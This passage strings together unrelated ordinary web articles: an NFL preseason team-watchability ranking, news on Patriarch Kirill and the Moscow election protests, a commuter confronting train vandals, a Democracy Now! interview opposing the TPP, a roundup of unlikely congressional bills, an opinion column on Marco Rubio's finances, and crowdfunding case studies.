me loves it all. Bradford, meanwhile, remains in Philadelphia. He's the Eagles' starter after a solid camp, so the team's placement in this tier is all about Wentz. Since the rookie won't get many practice snaps during the regular season, this month will likely comprise Wentz's resume for 2016. The job he's applying for: November starting quarterback when the natives get restless in Philly. Unlike Wentz, Jared Goff was not always expected to sit as a rookie in Los Angeles. His "plug-and-play" potential was one reason the Rams took him No. 1 overall. All reports, not to mention the first episode of "Hard Knocks," indicate Goff's progress is coming along slowly. This is hardly cause for alarm. It has happened to rookie quarterbacks from Aaron Rodgers to Eli Manning to Alex Smith. It is a surprise, however -- no matter what kind of spin comes out of L.A. about veteran Case Keenum's "proven ability" to beat the Seahawks. Other recent Rams starters to beat the Seahawks: Austin Davis and Nick Foles. The Rams should take their time with Goff if he's not ready, but this has never been about Keenum. It's Goff vs. Goff, and we get four games to watch his progress. Bonus points for this tier: The Rams and 49ers both play Denver this month. Plenty of intrigue 5) Cleveland Browns 6) New England Patriots 7) Tennessee Titans 8) Dallas Cowboys Robert Griffin III was signed by Cleveland on March 24, more than two weeks after he was released by the Redskins. It was hard to imagine him starting for any team as he languished on the free agent market, much less having a job locked down before the preseason starts. That takes some juice out of the Browns' preseason, but not much. We still want to see how RGIII looks against a live pass rush. We want to see if first-round pick Corey Coleman can live up to those Steve Smith comparisons, and whether Terrelle Pryor can finish his improbable journey from college quarterback to starting NFL wide receiver. We want to see running back Duke Johnson begin to make the leap. Browns homers can also enjoy open starting jobs up for grabs across the defense, but this preseason will be all about new coach Hue Jackson's offense. Are the Browns sneaky exciting? Jimmy Garoppolo's test drive as a starting quarterback would put the Patriots higher on this list if we hadn't seen it before. He should prove to be solid, but September is his month now. The team's open questions at running back (could LeGarrette Blount be cut, and when will Dion Lewis be back?) and the development of rookie receiver Malcolm Mitchell are just as interesting. It will also be fun to see Tom Brady treat these games like the regular season, taking down third-string cornerbacks while Boston radio stations lose their minds after Brady plays three quarters in the fourth preseason game. Marcus Mariota amps up the preseason curiosity factor for the Titans despite that gnawing suspicion coach Mike Mularkey could ruin everything by turning back the clock to 1991. Rookie running back Derrick Henry is one to watch after a strong showing in camp, and it would be great to see juice back in veteran DeMarco Murray's legs. Fifth-round pick receiver Tajae Sharpe is looking to cement his starting receiver job, while second-year pro Dorial Green-Beckham and veteran Andre Johnson battle just to earn snaps in a deep fight at the position. Before he pulled his hamstring, fourth overall pick Ezekiel Elliott's burst and propensity for making linebackers look foolish at Cowboys camp was something to behold. He makes Dallas appointment viewing once he recovers, while Tony Romo's mobility is something to watch. There should be some level of concern that Romo's back stiffness seems to require him to take so many days off at camp. The Cowboys also still need to figure out both starting defensive ends this month. Catch them weekly 9) New Orleans Saints 10) Jacksonville Jaguars 11) Seattle Seahawks 12) Baltimore Ravens 13) Houston Texans The Saints feel strangely fresh for a team that has had the same coach and quarterback for a decade. They finally rebuilt their offense with fun young talent around Drew Brees. Michael Thomas has made more noise than any rookie receiver this year. I've fallen for the hype in Saints camp that competent coaching and improvements through the defensive line and secondary could make this defense respectable. At running back, C.J. Spiller could earn the backup spot over Tim Hightower or get released, based on how he looks in the preseason. ... The Jaguars made news for their free agency splashes, but we'll be watching their rookies more closely this month. At least four defenders -- Jalen Ramsey, Myles Jack, Sheldon Day and Yannick Ngakoue -- have a chance to have big roles right away. Stable teams rank low on this list -- and the Ravens are as unstable as they've been in awhile. Five key starters are coming back from injury. Starting jobs at running back, wideout, tight end, defensive end, inside linebacker and safety are open this month. Everyone is just assuming 37-year-old veteran receiver Steve Smith is still Steve Smith coming off an Achilles injury. There's a lot that could go wrong. ... Houston is similarly in flux. The Texans have up to nine new offensive starters, including quarterback Brock Osweiler and first-round receiver Will Fuller. Seattle is the exception to the rule when it comes to established teams ranking low. Just watch one of the Seahawks' games. They often play so hard in the preseason that it feels like a real game. Their backfield should be among the most fun to watch this month, with Christine Michael teasing fantasy writers again. They also drafted three running backs trying to make an impact while Thomas Rawls returns from a broken ankle. Middle of the pack 14) New York Giants 15) Pittsburgh Steelers 16) Tampa Bay Buccaneers 17) Chicago Bears 18) Miami Dolphins 19) New York Jets 20) Indianapolis Colts 21) Atlanta Falcons 22) San Diego Chargers 23) Buffalo Bills The Giants' preseason isn't about rookie receiver Sterling Shepard vs. veteran Victor Cruz -- that battle is over; Shepard has won. The battle is Cruz vs. his old explosiveness, with the waiver wire a possible destination for Cruz. (And that battle will distract everyone from what's happening at linebacker for New York.) ... Atlanta has been threatening to start up to four defensive rookies, including first-round pick Keanu Neal, and the preseason will show how serious coach Dan Quinn is about turning over his group. ... The Steelers were ranked low in this exercise until I realized how much I wanted to see Sammie Coates and slot receiver Eli Rogers build on their camp hype. Pittsburgh coaches are also hoping outside linebackers Bud Dupree and Jarvis Jones finally establish themselves as clear starters, while they work in two rookies (first-round pick Artie Burns and second-round pick Sean Davis) in the secondary. These aren't former defensive coordinator Dick LeBeau's "wait and develop" Steelers. There isn't a ton at stake with the Colts this month, but an angry Andrew Luck coming off a disastrous season can't be ranked low. The same reasoning applies for the Buccaneers' Jameis Winston, who is going to my one of my favorite weekly watches when the real games start. Look to see if he feeds unheralded tight end Cameron Brate to help Brate win the starting job. ... This is a big month for Bears receiver Kevin White. Early reports in camp indicate that last year's No. 7 overall pick is coming along slowly after losing all of 2015 to injury. Fantasy drafters assuming that second-year pro Jeremy Langford will just dominate carries in the Chicago backfield also need to watch out for how rookie Jordan Howard and veterans Jacquizz Rodgers and Ka'Deem Carey are used. ... The Chargers are one of the teams we're most anxious to see in the regular season, but they don't offer a ton of intrigue this month. Keep an eye on whether second-year pro Melvin Gordon looks all the way back at running back after reportedly undergoing microfracture surgery on his knee in January. His hesitant preseason a year ago started his rookie campaign going the wrong way. The Jets have a roster of established stars for whom the preseason doesn't matter much. We don't expect to see a ton of Matt Forte, even when he gets healthy. They only rank this high on the off chance Geno Smith plays like Joe Namath and makes my heart sing. Second-round pick Christian Hackenberg hasn't seen many snaps in camp and might not even be ready for preseason action. The Jets definitely have the most compelling battle for a No. 3 quarterback job, with 2015 fourth-rounder Bryce Petty hoping to show progress. He says he plans to "Brett Favre it" in the team's first preseason game. We just want to see what that means. ... The Bills would have been a lot more interesting this month before losing their top two rookies (Shaq Lawson and Reggie Ragland) to injury. Former Olympic hopeful Marquise Goodwin is making believers (again) in Buffalo camp, and he has a solid chance to start if he shows out in August. ... ... Arian Foster will sit out the preseason opener for the Dolphins. It's worth watching how he and Jay Ajayi look this month, and if both can escape August healthy. Lower stakes 24) Green Bay Packers 25) Arizona Cardinals 26) Carolina Panthers 27) Oakland Raiders These four teams range from good to potentially great, yet we're unlikely to learn a lot new about them in the preseason. Raiders fans have to be thrilled that they have such a stable, young offense that returns nearly all its starters. Rookie DeAndre Washington is a player to watch -- can he establish himself as a true threat to Latavius Murray? Carolina is set to give three rookie cornerbacks major snaps, barring an August meltdown. No. 1 receiver Kelvin Benjamin's return from his ACL injury is just as important. Second-year receiver Devin Funchess and running back Cameron Artis-Payne also want to solidify their strong training camps. Aaron Rodgers is a treat any time of year, and he'll want to re-establish connections with Jordy Nelson and his No. 3 receiver to be named later, which currently figures to be Davante Adams. Like the Packers, the Cardinals are a team we know well. They'd be better off just fast-forwarding a month, because only injuries could mess with this squad. Save for Game Pass 28) Minnesota Vikings 29) Detroit Lions 30) Washington Redskins 31) Cincinnati Bengals 32) Kansas City Chiefs Fans of the five teams above should mostly see landing in this tier as a compliment, so save the emails. They just aren't generating many high-stakes storylines this preseason to capture the casual fan. Minnesota's best player (Adrian Peterson) will barely play, if at all. However, their two most recent first-round picks -- receiver Laquon Treadwell (2016) and cornerback Trae Waynes (2015) -- could use big months to earn regular playing time. The Lions will take a massive breath before the preseason starts, then exhale in a month if running back Ameer Abdullah's shoulder goes unscathed. The Bengals similarly can't handle more skill-position injuries; with their stacked roster, they don't truly need many of their young players to step up. Even Redskins beat writers admit camp this year is boring, which is a nice change of pace for them. Washington's first-round receiver Josh Doctson may not make it back on the field in time to play in the preseason, although we'll keep an eye on buzzy rookie runner Keith Marshall and second-year pro Matt Jones, who already wowed us in the preseason once. The Chiefs have a mostly veteran roster with intrigue at backup running back (Spencer Ware vs. Charcandrick West) and watching Chris Conley as the team's new starting wideout. There will be a moment during this preseason when we all just want to move forward to the fun stuff. This is not that moment. Addicts that make it this far down a "Preseason Watchability" column have a football problem. We complain about the preseason, but we watch it. We are grateful to have any live tackling and actual scores back in our lives. Now there are just 26 weeks left until it goes away once again. -Image caption Patriarch Kirill (R) met President Dmitry Medvedev on Friday evening The head of the Russian Orthodox Church has said the Kremlin should heed the recent mass protests over ballot-rigging and adjust its policies. In a televised message on Orthodox Christmas Day, Patriarch Kirill said it would be a "very bad sign" if the authorities ignored the protesters. He added that he could not take sides in the election dispute. However the Church, which counts about 70% of Russians as members, has close links to the Kremlin. It is unclear whether this is the patriarch's first comment on the election protests which gripped Moscow last month, but Russian commentators said it was unexpected. The last big rally, on 24 December, drew as many as 100,000 people to central Moscow in the biggest anti-government demonstration since Soviet times. It was called to protest at the conduct of parliamentary elections on 4 December, which were seen as a test of the electoral system ahead of a presidential election in March that Prime Minister Vladimir Putin is contesting. Mr Putin served two terms as Russian president before becoming prime minister. "The main thing is to translate correctly expressed protests into a policy adjustment," the patriarch said in Saturday's broadcast. "If the authorities remain insensitive to the expression of protests, it is a very bad sign, a sign of the authorities' inability to adjust themselves." The Church could not take sides over the elections, he said, because it had members "among both those on the square and those who were being opposed on the square". Patriarch Kirill congratulated Russian President Dmitry Medvedev when they met at a Christmas Eve service in Moscow's Christ The Saviour Cathedral on Friday night. -A VIGILANTE commuter who boldly confronted train vandals and filmed them says they had to be taught a lesson. The man, known only as Mark, said he was sick of seeing taxpayers' money wasted on cleaning up graffiti on trains before he boldly confronted the train vandals and filmed them, saying they had to be taught a lesson. Do you know more? Email our reporter So when he spotted three vandals tagging in a carriage as he was on his way home, he could not turn a blind eye. "I thought, if these kids aren't taught now they'll probably think they will get away with it and continue doing it -- and probably end up in the big house when they are older. And you don't want that," he told Channel 9 News. His footage shows him cornering two taggers as the third runs off. "Guess what, matey? You're gone," he says. "Guess where this is going, boys? Straight to Crime Stoppers." The footage has gone viral, with more than 444,000 views on YouTube and 22,000 likes on Facebook in one day. The video ends with Mark grabbing the two taggers, chasing them off the train at the next station, and trying to make a citizen's arrest. Mark said he released one youth he was holding only after one of the boy's mates produced a rock. Today, police spokeswoman Anita Brens said police were keen for Mark to officially come forward, report the incident and hand over any footage. “We urge that person to hand the footage into police,” Ms Brens said. “It would form part of any evidence we may need to present." Victoria Police and Metro yesterday urged people not to take the law into their own hands. Senior Sergeant David Cochrane, of the transit police, urged people not to approach offenders but to ring police or Crime Stoppers on 1800 333 000. "Be aware of the risks involved and think carefully before you do it," he said. "In this case, the person has let the offenders know he was filming and he was about to arrest them ... and it appears he has been assaulted as a result of it, which is concerning to us," Sen-Sgt Cochrane said. "If you see this stuff and you film it, we advise that you ring police. "Please let the police know in the first instance, because you put the prosecution at risk by putting it straight on to YouTube." Metro spokesman Daniel Hoare urged anyone who witnessed vandalism on a train or at a station to call police immediately. "If someone sees graffiti being carried out on a train, we urge them to press the red emergency button on the carriage, which will activate a call to police," he said. Metro must clean up graffiti within 24 hours of it being reported, which can force trains out of service. Graffiti offences attract a $276 on-the-spot fine and possessing graffiti equipment on a train carries a $704 fine. Criminal damage carries a penalty of up to 10 years' jail. Public Transport Users Association president Tony Morton said his group also did not encourage people to take matters into their own hands. He said the video showed how a situation could get out of hand and distress other passengers. Do you know more? Email our reporter -This is a rush transcript. Copy may not be in its final form. AMY GOODMAN: We turn to Washington, where congressional Democrats are openly criticizing the secrecy surrounding the negotiations over the Trans-Pacific Partnership, known as the TPP. This comes as President Obama begins a major push to pass the controversial deal. The United States is in talks with 11 [other Pacific Rim] countries for the sweeping trade pact that would cover 40 percent of the global economy, but its provisions have mostly been kept secret. After the White House deemed a briefing on the trade pact classified, Congressmember Rosa DeLauro of Connecticut called the measures “needlessly secretive,” saying, quote, “If the TPP would be as good for American jobs as they claim, there should be nothing to hide.” Well, this comes as President Obama recently called on Congress to pass fast-track legislation to streamline the passage of trade deals through Congress. PRESIDENT BARACK OBAMA: As we speak, China is trying to write the rules for trade in the 21st century. That would put our workers and our businesses at a massive disadvantage. We can’t let that happen. We should write those rules. That’s why Congress should act on something called “Trade Promotion Authority.” AMY GOODMAN: Meanwhile, the AFL-CIO says it will withhold contributions to congressional Democrats to pressure them to vote no on fast-track authority. And some tea party-backed Republicans are saying Obama cannot be trusted with the same negotiating authority that past presidents have had. This spring, the White House has invited Japan’s prime minister, Shinzo Abe, to address a joint session of Congress, in which he may promote the Trans-Pacific Partnership. For more, we’re joined by Lori Wallach, director of Public Citizen’s Global Trade Watch. As the push for the TPP heats up, she was recently featured in a National Journal profile headlined “The Trade Debate’s Guerilla Warrior Gets Her Day.” Welcome back to Democracy Now! Tell us about what you’re most concerned about, Lori. LORI WALLACH: Well, fast-tracking the TPP would make it easier to offshore our jobs and would put downward pressure, enormous downward pressure, on Americans’ wages, because it would throw American workers into competition with workers in Vietnam who are paid less than 60 cents an hour and have no labor rights to organize, to better their situation. Plus, the TPP would empower another 25,000 foreign corporations to use the investor state tribunals, the corporate tribunals, to attack our laws. And then there would be another 25,000 U.S. corporations in the other TPP countries who could use investor state to attack their environmental and health and labor and safety laws. And if all that weren’t enough, Big Pharma would get new monopoly patent rights that would jack up medicine prices, cutting off affordable access. And there’s rollback of financial regulations put in place after the global financial crisis. And there’s a ban on “Buy Local,” “buy domestic” policies. And it would undermine the policy space that we have to deal with the climate crisis—energy policies are covered. Basically, almost any progressive policy or goal would be undermined, rolled back. Plus, we would see more offshoring of jobs and more downward pressure on wages. So the big battle is over fast track, the process. And right now, thanks to a lot of pushback by activists across the country, actually, they don’t have a majority to pass it. But there’s an enormous push to change that, and that’s basically where we all come in. AMY GOODMAN: I mean, people are not used to hearing that President Obama and the Republicans have found common ground and that President Obama’s opposition are the largest bloc in Congress, and that’s the progressive Democrats. Can you explain why President Obama is pushing TPP forward and TPA, the fast-track authority, which means, again, that you can’t amend this agreement, you can only vote up or down? LORI WALLACH: Well, I want to—actually, I want to take one step back before guessing why, because it’s hard to imagine. If you go to our website, TradeWatch.org, we’ve literally done a side-by-side of Obama’s policy goals as a president and everything fast-tracking the TPP would do to basically undermine everything that he has fought for, from lower medicine prices to re-regulating Wall Street, to more energy-efficient climate crisis-combating policies, to allegedly this middle-class economics agenda. The TPP and fast track are the antithesis. But one other thing about fast track folks need to know, which is—and this gets to the weird politics—you’ve got the president basically doing the bidding of all the big corporations and commercial interests that spent millions of dollars to make sure he wasn’t elected the first time and to try and not elect him the second time. Against him are the entire labor movement united. There was a letter signed by every union president—basically, the most unity in the labor movement since certain unions left the AFL-CIO 20 years ago. And it’s the government employee unions, it’s the service sector unions—all the unions that are affected by what happens when all of our good jobs are taken away and the tax base crashes. And you’ve got groups that have never been involved in a trade fight before, all the Internet freedom groups who realize the agreement would undermine the basic rights to an accessible, free Internet. There are issues about net neutrality that could be rolled back. It’s just overarchingly a delivery mechanism for a huge, broad corporate agenda. So then, why would the president be with the Chamber of Commerce, the NAM, all the big lobby groups that also tried to unelect him? And against him are almost every House Democrat, and then, interestingly, a bunch of conservative Republicans. But it’s not—the issue is not that they, we—anyone—doesn’t want this president to have fast track. The issue is fast track is inappropriate for any president. Fast track lets a president unilaterally pick negotiating partners, set wide rules, not about trade, that would rewrite domestic policy, sign and enter an agreement that would require us to change all of our domestic laws to meet those rules, sign and enter into that agreement before Congress votes to approve the contents, then write implementing legislation to change all the U.S. laws, that isn’t subject to congressional review through committee. It goes directly to the floor. And the president is guaranteed in 90 days a yes-or-no vote, with no filibuster, limited debate, and no amendments. So it’s literally a form of diplomatic legislating. And actually, since 1988, only two presidents have managed to have Congress give away all that authority: Ronald Reagan in '88 and George Bush II in 2002. Every other president who's tried—Clinton in '95, ’97, ’98—Congress said no. So it's not an anti-Obama thing. It’s a no giveaway of the ability of Congress to make our laws. And that’s what fast track is. And that’s why it would enable something as outrageous as the TPP. AMY GOODMAN: I want to just ask one little example: “Buy American,” the whole push to try to buy things in the United—that are made here, because it would mean more U.S. jobs, etc.—how would that fit in to TPP? LORI WALLACH: So the way that that works is TPP, amongst its 29 chapters, only five of which have anything to do with trade, one of the nontrade chapters is a chapter about procurement, government procurement rules. And in that chapter, the requirement is that the U.S. government treat bids from any company in any TPP country identically to how they would treat a U.S. company’s bid. But Buy America and Buy American, two laws, the first one from 1934, requires you give a preference to a domestic company, so that when we’re spending our tax dollars, instead of offshoring our tax dollars, we’re reinvesting them in our communities to create jobs and also, by the way, to create innovation. So, like the CAFE standards, that are now normal, the fuel efficiency standards for cars, that was first a procurement condition; so the Renewable Portfolio Standards, the renewable energy standards that are now part of government procurement—that’s how you create a market using the government funds for a behavior you want the private sector to shift to. Great policy tool, great job creator, super—except, under TPP, we’d have to give a waiver to that preference. Any company in any TPP country, so even ones that aren’t from those countries—Chinese state-owned enterprise firms in Vietnam—would have to be treated the same as a U.S. company and get all of those government contracts. And that’s also the same rule that undermines all the Buy Local preferences. So to the extent—you know, for instance, a lot of school districts have done rules that say, “Let’s buy local food from local farmers. Let’s not have a big multinational company ship our vegetables a thousand miles away when we have the ability from right here to produce and procure.” Those would also be violations. You have to treat the foreign company the same, give them the same access, as you would any domestic company. And if we don’t change our laws to meet those rules, we would face trade sanctions until we do. AMY GOODMAN: Who negotiated this? LORI WALLACH: There’s an office that’s part of the Office of the President called the United States Trade Representative, are the actual negotiators. But I think underlying your question is: Who the heck negotiated this? And the reason we have such a lunatic agreement is those negotiators are advised by an official set of trade—U.S. private sector trade advisers. There are almost 600 of these advisers, and all but a handful of them represent big corporate interests. So, there are about 20 labor unions in the mix, of the 600. There are three or four environmental groups. There’s one consumer group, a couple family farm groups. Otherwise, it’s all corporate. So, literally, when it comes to like the pharmaceutical rules, the pricing of medicines, you’ve got all the industry there. AMY GOODMAN: Can you talk about the strategy that you’re—that people are using in opposing this? Democrats in Congress have spoken out, some of them, around the issue of secrecy. The reason we know this agreement, what’s in it, right, is because WikiLeaks released a draft of it about a year ago. But, you know, going back to 1999, the World Trade Organization in Seattle, for example, the massive protest outside led to the World Trade Organization—I mean, basically, the whole ministerial being called off. What kind of organizing is taking place right now? LORI WALLACH: Well, actually, what shut down the WTO expansion was a combination of inside and outside. So, folks saw the protests in the street in Seattle in ’99, but there was an entire year of campaigning, country by country, around the world to get the governments who were going to that meeting to agree to not do certain things and to demand certain things. And where we are in the campaign now is, basically, folks have to ramp up the inside and the outside, which is to say—you may think it sounds corny. I swear it makes a difference. I’ve worked in Capitol Hill. Folks, if you have not called your representative and both of your senators and gotten them to commit to you in writing that they oppose fast track, if and when it comes for a vote, which could be as soon as the third week of April, if you have not done that, you must do that. Please do that. Write them snail mail, email, call. The switchboard at the Capitol can connect you. If you’re not sure who your representative is, all you need is your ZIP code. The Capitol switchboard—you should write this down and stick it on a yellow sticky on your fridge for all purposes—202-225-3121, 202-225-3121. AMY GOODMAN: Lori, we’re— LORI WALLACH: But the other— AMY GOODMAN: We’re going to have to— LORI WALLACH: —thing to do is— AMY GOODMAN: We’re going to have to leave it there. LORI WALLACH: We have a webinar today, TradeWatch.org, you’ll learn all you need to know. TradeWatch.org, webinar today. AMY GOODMAN: Lori Wallach, director of Public Citizen’s Global Trade Watch, speaking to us from Washington. This is Democracy Now! Back in a minute. -For a Congress that struggled to pass even the most basic of bills, the 113th didn't lack for imaginative proposals. Squelched in committee, locked in legislative logjam, and buried in obscurity were bills that would do everything from eliminating federal agencies to micromanaging D.C. traffic enforcement. As the year draws to a close, let's take a look back at some of the best congressional pipe dreams, organized by their likelihood of passage, as determined by GovTrack. 0% — Tragically, Rep. Louie Gohmert's proposal to exempt D.C. residents from income taxes did not find its way into the congressional agenda. The No Taxation Without Representation Act addresses the District's long-standing voting-rights concerns, but rather than asserting Washingtonians' rights, it simply eliminates their obligations to Uncle Sam. Some District advocates are concerned it could turn the capital into a tax haven, as well as pushing residents' concerns even lower on the congressional totem pole. The bill has seen no movement since its introduction last July, much to the chagrin of many District-residing Hill staffers and political reporters. 1% — With a just-better-than-zero chance of passing, Rep. Alan Grayson's campaign finance proposal is more a product of idealism than of realism. His bill, the Business Should Mind Its Own Business Act, imposes a 500 percent tax on political contributions by corporations. What better way to get money out of politics than to bring in revenue in the process? While reform advocates might see the logic in Grayson's proposal, his donor-reliant colleagues seem unlikely to take it up, even in committee. Sometimes even the most quixotic ideas need to be stamped out before they take root. At least, that's the premise of Rep. Greg Walden's plan to ban trillion-dollar platinum coins. Some on the left had floated the idea of minting such coins as a work-around to another debt-ceiling fight with the GOP. Walden's bill would limit the value of platinum coins to $200, which, presumably, would not go very far toward circumventing a debt-ceiling battle. Rep. Charlie Rangel didn't get much traction behind his plan to make women register for the draft, coupled with his perennial proposal to reinstate compulsory military service. Rangel's goal is to give all Americans a stake in the wars the country fights, but it doesn't appear that his colleagues—or the Pentagon brass—share his views. 2% — Some bills exist simply to nakedly troll a member's political enemies. Rep. Ted Yoho's GLITCH Act is one such bill. Released during the botched rollout of HealthCare.gov, the proposal would cut the salary of the Health and Human Services secretary by 5 percent for every month that the website is not fully functional. The site has since rebounded, and Yoho's bill is collecting mothballs. Meanwhile, some lawmakers are just sick of speeding tickets. Rep. Steve Stockman's bill bans D.C. from using traffic cameras to catch speeders, including, presumably, members of Congress. It also nixes federal highway funds for states that use such cameras. Even love itself has not been safe from congressional interference. Rep. Matt Salmon's bill would give the axe to the Popular Romance Project, a program that studies the influence of romance on cultures throughout history. And in case any other agency was getting ideas, Salmon's bill would ban "any similar project relating to love or romance." 3% — Snarky bill names were not confined to the House of Representatives. Sen. Tom Coburn proposed the Let Me Google That For You Act, which would eliminate an obscure document-keeping agency. Its purpose, Coburn argued, has been largely made redundant by the availability of records on the Internet. 4% — Finally, Stockman makes this list twice with his self-named bill to disprove global warming. Intent on etching his name into law, the representative's Stockman Effect Act is his last attempt at disproving global warming. The bill directs scientists to study the Earth's magnetic field, which, if given more scrutiny, will apparently displace global warming as the culprit for most weather changes. Sadly for connoisseurs of such legislation, Stockman won't be back in the 114th Congress. But perhaps his ideas will live on. -There have been some bad debates so far in this presidential elections. I mean, really bad. We've seen candidates act like children and moderators like doofuses. CNBC was rightfully skewered last week for asking Republicans questions both petty and spiteful. Moderator John Harwood's first question to Donald Trump — asking the billionaire whether his candidacy was really just "a comic-book version of a presidential campaign" — was a perfect example. As if Harwood thought Trump might respond: Why, yes, John, it is. What an insightful inquiry. Harwood's salvo would've been better suited as a blog rant than a debate opener. However, one of the big problems when moderators throw out harebrained bombs early on is they allow candidates to dismiss legitimate questions later. Florida's own Marco Rubio took spectacular advantage of that. Moderator Becky Quick asked Rubio to explain a litany of well-documented financial problems from his past. Said Quick: "You accidentally intermingled campaign money with your personal money. You faced foreclosure on a second home that you bought. And just last year, you liquidated a $68,000 retirement fund … that cost you thousands of dollars in taxes and penalties" — all to ask whether Rubio had the ability to handle the nation's finances. Rubio refused to answer, describing the question as "a litany of discredited attacks from Democrats and my political opponents." That's simply not true. Rubio has a string of financial messes, personal and political. And anyone who watched his record in Florida knows it. He was mired in debt, even while living a life of limo rides and travel and telling others to live within their means. Don't take it from me. Take it from court documents. And investigative reports. Heck, take it from conservative commentator Joe Scarborough, a former GOP congressman from Florida who has offered hearty defenses of Rubio in the past. After the debate, Scarborough was incredulous. "Marco just flat-out lied to the American people there," Scarborough said, going on to ridicule the audience cheering his denials. "Everybody's going, 'Oh, Marco was great.' No, Marco lied about his financials." The facts are all there. See, I can't claim to have watched Ben Carson, Bernie Sanders or Donald Trump up close during the past decade. But I have watched Rubio. And he has been dogged by financial and ethical questions from the moment he became Florida House speaker and immediately spent $559,000 in taxpayer money to renovate offices and build a new members-only dining room. He entered the Florida Legislature nearly broke and with $30,000 in credit-card debt — but managed to live high on the hog thanks to a GOP credit card funded largely by special interests that wanted legislative favors. He used this Amex to charge everything from plane trips to limo rides. Even stone pavers at his home, an incident he described in his book as a mistake. Once, he was caught double-billing taxpayers and the GOP for the same airfare. Rubio's home did indeed face foreclosure. Not his family's house, mind you. A second house he owned with a legislative buddy. Court records said they stopped paying the mortgage for five months. And while railing against government spending, Rubio snagged an unadvertised teaching position at a taxpayer-funded university and crafted a budget that included $800,000 for artificial turf at his former flag-football team's home field. Gov. Charlie Crist — of all people — vetoed it. Rubio has admitted most of this, repaying improper expenditures and expressing regret for what he called mistakes. But last week facts became "discredited attacks." Listen, people can forgive financial pitfalls. But they don't like dishonesty … especially when it's about money and largess connected to public service. I still think Rubio's debate performance — especially his emasculation of one-time mentor Jeb Bush — will help him rise in the polls. His assets are his life story, his stage presence and his doe-eyed delivery. Rubio's baggage is his actual track record — much of which runs counter to the virtues he claims to embrace. smaxwell@orlandosentinel.com -Tips & Tales of Effective Crowdfunding In recent years, crowdfunding – the contribution of money from multiple people, usually through the internet, towards a single project or effort – has become more and more popular in the entrepreneurial world. Through sites like Kickstarter, Indiegogo, RocketHub, Crowdrise, Appbackr, Mosaic, and many others, anyone with an idea, no matter the industry, has the opportunity to ask others to finance it. Because of crowdfunding’s increasing popularity, success with crowdfunding has become more difficult to achieve. To get some perspectives on what works, we interviewed three Workbar members about their effective campaigns on the most well-known crowdfunding site – Kickstarter. Thinking Outside the Poster: Litographs The project: Litographs – a business founded in 2012 that screen prints the full text of books onto posters – started a Kickstarter in order to print on t-shirts. Strategically timed for the holidays, the Kickstarter exceeded its goal of $15,000 and raised $100,928 in one month. What worked? According to Danny Fein, Litographs’ founder, the campaign was successful for four main reasons – its mailing list and Danny’s social networks; its timing; its creative use of rewards; and its strong press coverage. “It’s really important to get your campaign off to a good start, and it’ll take on a life of its own,” Danny says. Danny’s main goal for the campaign was to get it featured by Kickstarter on the homepage, but that doesn’t happen without a bit of leg work. In order to build momentum and prove to Kickstarter that his project was worth highlighting, Danny sent an email to his existing mailing list of about 4,000 people who already had an interest in Litographs. He also promoted the page heavily on his personal social media sites – particularly Facebook. Instead of featuring a promotion on his website, he took the opportunity to offer a special price on posters – $15 instead of around $30 – available only on the Kickstarter page. This drove hundreds of customers, who were already Litographs fans, to “donate” to the campaign and get a poster for half the price. Kickstarter noticed the page’s immediate success and featured it soon after. According to Danny, about 50% of the money raised came from people who found his page through Kickstarter. Danny also wanted to get some press coverage, but knew very little about public relations best practices. “I gave myself every possibility to have good things happen because it was so unknown,” Danny says. One way he did this was to make a wish list of around 30 blogs that he wanted to feature Litographs’ story. Instead of sending a press release, he scraped text from each blog, created hand-printed litographs of their logos, and sent them out via snail mail along with a suggestion that they cover his story. Four out of five of them did, and the first was TechCrunch – leading to the largest spike in the campaign’s donors. Lastly, starting the campaign in time for rewards to arrive by December 24th was no coincidence. As a retail-centric project, the campaign’s positioning in time for holiday shopping was a major reason for its huge success. “It’s hard to overestimate how huge the holidays are – especially for a business like Litographs,” Danny says. Litographs’ Kickstarter campaign had residual effects on the company’s overall success. The campaign raised traffic to the Litographs website 10-20% during the month while it was running, and the site’s traffic settled after the campaign at 4-5% more on average than before – even after holiday shopping season. Last Words of Advice Though Litographs exceeded its goal by a huge amount, Danny says that kind of success has pros and cons. While the increased order numbers decreased the costs of t-shirts and other materials bought in bulk, the unanticipated number of rewards Danny had to turn out for the holidays added a lot of stress and pressure. “Don’t overestimate the complexity of having 300,000 customers breathing down your necks – especially during the holidays,” Danny says. If your page is wildly successful, be prepared for the follow-through it will require. Because Kickstarter does not design itself as a retail store, Danny had to come up with his own system for following up with orders in order to follow through with every contributor’s request. “Double however long you think it will take,” Danny says, and only add stretch goals if you previously planned on it. If the campaign is already proving successful, don’t over complicate it – it only creates more work and complexity. Putting a Local Landmark in a National Spotlight: The Brattle Theatre The project: The Brattle Theatre, a 60-year old arthouse cinema in Harvard Square, needed major upgrades –including a new HVAC and digital projection systems – and looked to Kickstarter to raise the $140,000 to do them. In five weeks, the Kickstarter campaign raised $149,580. What worked? To appeal to as many donors as possible, the Brattle put a great deal of thought into its rewards. “My impression of Kickstarter is that it’s tougher for local projects… our strategy was to make it attractive to people who don’t live nearby,” says Larry Yu, a board member who was involved in the execution and promotion of the campaign. To increase the chances of getting national donors as well as local, more personally-invested contributors, the Brattle offered a mix of lower to higher-end rewards, some regionally dependent and some not. These rewards included Brattle “Schwag,” movie tickets, a night with celebrity Amanda Palmer, and even choosing the name for the new HVAC system. Even with creative and diverse prizes, the Brattle’s campaign needed quite a bit of marketing power. In the first two weeks of the campaign, the Brattle reached its 20% mark, and finished strong with around 40% of funds rolling in the last week. According to Larry, a large reason for the campaign’s success near the end was the snowball effect of the Brattle’s promotional efforts. The theater started by promoting the campaign to its close networks – friends, family, and fans of the theater. In those initial solicitations, the promotional team also made an effort to focus on more influential connectors in its network that could help spread the word – connectors like influencers at Harvard University, the City of Cambridge, and local press and niche film publications. Using the theater’s press releases, the Boston Globe wrote several pieces highlighting the Brattle’s campaign. Last words of advice: The theater’s campaign succeeded and exceeded its goal, but Larry says, “It’s hard work – it doesn’t just sort of happen.” Plan for many hours of marketing power in order to get your project off the ground, and don’t expect donors to just find you. The Brattle already had many fans, and it still had to invest a lot of time, effort, and incentives into spreading the word about its campaign. Finding a Sweet Spot in a Niche: D Programming Language Conference The project: Andrei Alexandrescu, a D Programmer, was part of a group that wanted to organize an annual D Programming Language conference in the Bay Area in 2013. To do it, they needed funding for the rooms, speakers, food, and other conference amenities, and they decided to reach out to the D Programming community using Kickstarter in order to fund it. In one month, they raised $30,855 of their $29,999 goal. What worked? According to Andrei, the conference’s campaign succeeded because of its niche appeal, the length of the campaign, and the group’s ability to find initial investors. “I think one month is a sweet spot,” Andrei says. The group built momentum from the start by lining up some initial investors through their personal networks and by posting about the conference in targeted areas, such as D 